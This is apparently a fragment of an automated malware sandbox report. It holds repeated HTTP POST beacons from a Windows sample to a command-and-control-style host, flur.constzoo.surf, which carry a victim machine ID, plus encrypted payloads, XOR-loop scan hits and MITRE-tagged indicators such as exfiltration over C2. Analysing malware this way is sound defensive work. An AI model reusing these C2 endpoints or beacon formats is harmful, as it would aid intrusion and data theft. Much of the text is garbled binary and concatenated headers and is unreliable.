HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwX-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "4u9HuuDx" in header "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwX-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "flur" in header "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwX-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "constzoo" in header "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwX-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwX-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "1e7a" in header "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwX-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "4ff8" in header "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwX-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "8004" in header "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwX-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwX-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwX-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwX-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwX-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1Connection: keep-aliveContent-Length: 32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "POST" in header "POST /E-gdF@OUX3r HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "flur" in header "POST /E-gdF@OUX3r HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "constzoo" in header "POST /E-gdF@OUX3r HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "Type" in header "POST /E-gdF@OUX3r HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "1eU7ZqdQip8A5edPLV8qrwConnection" in header "POST /E-gdF@OUX3r HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "keep" in header "POST /E-gdF@OUX3r HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "aliveContent" in header "POST /E-gdF@OUX3r HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "like" in header "POST /E-gdF@OUX3r HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" Contains base64 string in header "6187" in header "POST /E-gdF@OUX3r HTTP/1.1Host: flur.constzoo.surfContent-Type: application/octet-streamX-Request-ID: 1eU7ZqdQip8A5edPLV8qrwConnection: keep-aliveContent-Length: 73User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36"2a:T14b9,Found XOR loop in file "sample.bin" at offset 111945; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 550875; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 550891; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 858580; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 885099; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1053044; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1399345; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1419802; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1445691; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1446459; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1483899; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1576571; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1586619; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1591035; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1920885; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2114504; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2187092; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2443841; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2444233; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2445179; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2446599; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2449115; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2449529; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2450045; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2451039; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2455031; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2456539; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2472162; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2628472; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1098708; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1151216; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1173863; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1186167; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1225604; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1609358; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1746995; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1782007; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2422043; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2434939; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 169512; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 169827; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 169871; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 171017; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 171119; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 191644; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 218517; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 275274; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 275577; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 276064; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 276382; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 276434; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 278794; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 278846; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 729700; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 801222; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1382124; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1671800; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1746296; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2001355; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2443426; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2444580; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2446592; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2447440; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2448022; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2448468; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2449100; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2449510; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2450588; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2451026; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2451726; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2455020; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2456520; code bytes = 80302b:T775," "`Â&}Nuýy.m6·CcïaP³T+þç©GÏ%Û=Wë{uGD´y»ùoFº®Ã^7º;Ê" HTTP/1.1 200 OK Date: Mon 25 May 2026 23:20:14 GMT Content-Type: application/octet-stream Content-Length: 64 Connection: keep-alive Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=11 cfOrigin;dur=706 X-Request-ID: 1eU7ZqdQip8A5edPLV8qrw Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: a01844fe2cfbfa52-SJC with response body ==>C290C3A1C3A9C2BD4CC3BC7A31C3B25E2AC3A828671F3D2EC2BF18C290C3B27BC2AFC3A5C3B545C2B4C29E0EC38BC3BAC29DC2AFC28E27496658C3BB0C77C2B6....... "POST / HTTP/1.1 Host: flur.constzoo.surf Content-Type: application/octet-stream X-Request-ID: 1eU7ZqdQip8A5edPLV8qrw Connection: keep-alive Content-Length: 108 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "\s\nËº\Ó}7ÑUÆºÝþâlboÏ4Ù#;,½Ô>ÂmsgÃýy?éV2mõ¢ îÜ`Éü¹Á÷ ±³¾¤ñH+6* ¥*ñ¥à|¦ùápûÿÃAOæpI" HTTP/1.1 200 OK Date: Mon 25 May 2026 23:20:15 GMT Content-Type: application/octet-stream Content-Length: 473 Connection: keep-alive Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=4 cfOrigin;dur=204 Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: a01845050914fa52-SJC with response body ==>C29148C285231071C29BC28BC2A82CC2BAC39FC29CC3A858C2B8C3A15F2DC39D04C290C2885A667C3619C29BC39C60C3A86D412D2275C3937758C3A3312570C3....... "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1 Host: flur.constzoo.surf Content-Type: application/octet-stream X-Request-ID: 1eU7ZqdQip8A5edPLV8qrw X-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "F±ýýyøM¨¤QÊÚ-=Õ9«ñöá\Íl" HTTP/1.1 200 OK Date: Mon 25 May 2026 23:20:16 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=13 cfOrigin;dur=1284 CF-RAY: a0184506ca0dfa52-SJC with no response body "POST /E-gdF@OUX3r HTTP/1.1 Host: flur.constzoo.surf Content-Type: application/octet-stream X-Request-ID: 1eU7ZqdQip8A5edPLV8qrw Connection: keep-alive Content-Length: 73 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "»óJæÊ;°¤ªë¤!~þ¢õ«à9AO¯ÙËMñNË\7±òÏN~_:´|ÁÙÂÏ"«ÌøàªÚi¯D¸'" HTTP/1.1 200 OK Date: Mon, 25 May 2026 23:20:16 GMT Content-Type: application/octet-stream Content-Length: 54328 Connection: keep-alive Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2,cfOrigin;dur=183 Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} CF-RAY: a018450efef2fa52-SJC with response body ==>C291C39DC2A65DC28865C2B7C38C0F553FC39124137A22C3ABC2AA211CC2B6C3BAC2B009050B52C29DC2BA042E2B60C2A6C296070602C2995053C2B3C284C284......., "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1 Host: flur.constzoo.surf Content-Type: application/octet-stream X-Request-ID: 1eU7ZqdQip8A5edPLV8qrw X-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "Cªm3gvÙ! 7?v¤AY´ániásË}vdw" HTTP/1.1 200 OK Date: Mon, 25 May 2026 23:20:17 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=3,cfOrigin;dur=868 CF-RAY: a018451268d6fa52-SJC with no response body, "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1 Host: flur.constzoo.surf Content-Type: application/octet-stream X-Request-ID: 1eU7ZqdQip8A5edPLV8qrw X-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "åcb`ï¾óU"_ß|°ó:3kþìÉNû/Èg+å" HTTP/1.1 200 OK Date: Mon 25 May 2026 23:20:20 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=2 cfOrigin;dur=867 CF-RAY: a01845230a34fa52-SJC with no response body "POST /Ln-w-Qi5wkcIWH@6_25AHiH4g.4u9HuuDx-W HTTP/1.1 Host: flur.constzoo.surf Content-Type: application/octet-stream X-Request-ID: 1eU7ZqdQip8A5edPLV8qrw X-Lid: 177975121346DESKTOP-FVVF82Aa3d27cfa-1e7a-4ff8-8004-2be13417b6b1 Connection: keep-alive Content-Length: 32 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36" with payload::==> "¦¨(Ì})4cÑï¦?$³·,³æªF?JR÷" HTTP/1.1 200 OK Date: Mon 25 May 2026 23:20:21 GMT Content-Length: 0 Connection: keep-alive Server: cloudflare cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4"}]} alt-svc: h3=":443"; ma=86400 Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=3 cfOrigin;dur=901 CF-RAY: a0184528bd7cfa52-SJC with no response body3a:Tcc6," tE!\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6a14d9145f7f3d07100d59db"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\" åcb`ï¾óU\"_ß|°ó:3kþìÉNû/Èg+å.......","origin":"Network Traffic","mitre_attack_id":"T1030","relevance":5,"id":"network-69","sources":[{"report_type":"sandbox","report_id":"6a14d9145f7f3d07100d59db"}]},{"level":"suspicious","category":"General","name":"PE file has unusual entropy resources","description":"\"624f52cc31cd7ae5a311c9800b619386c9fd1a45af11b4e852391699ce36d3d8.bin\" has resource with unusual entropy \"RT_ICON:7.983684734525777\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":5,"id":"static-92","sources":[{"report_type":"sandbox","report_id":"6a14d9145f7f3d07100d59db"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$39","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6a14d9145f7f3d07100d59db"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"\"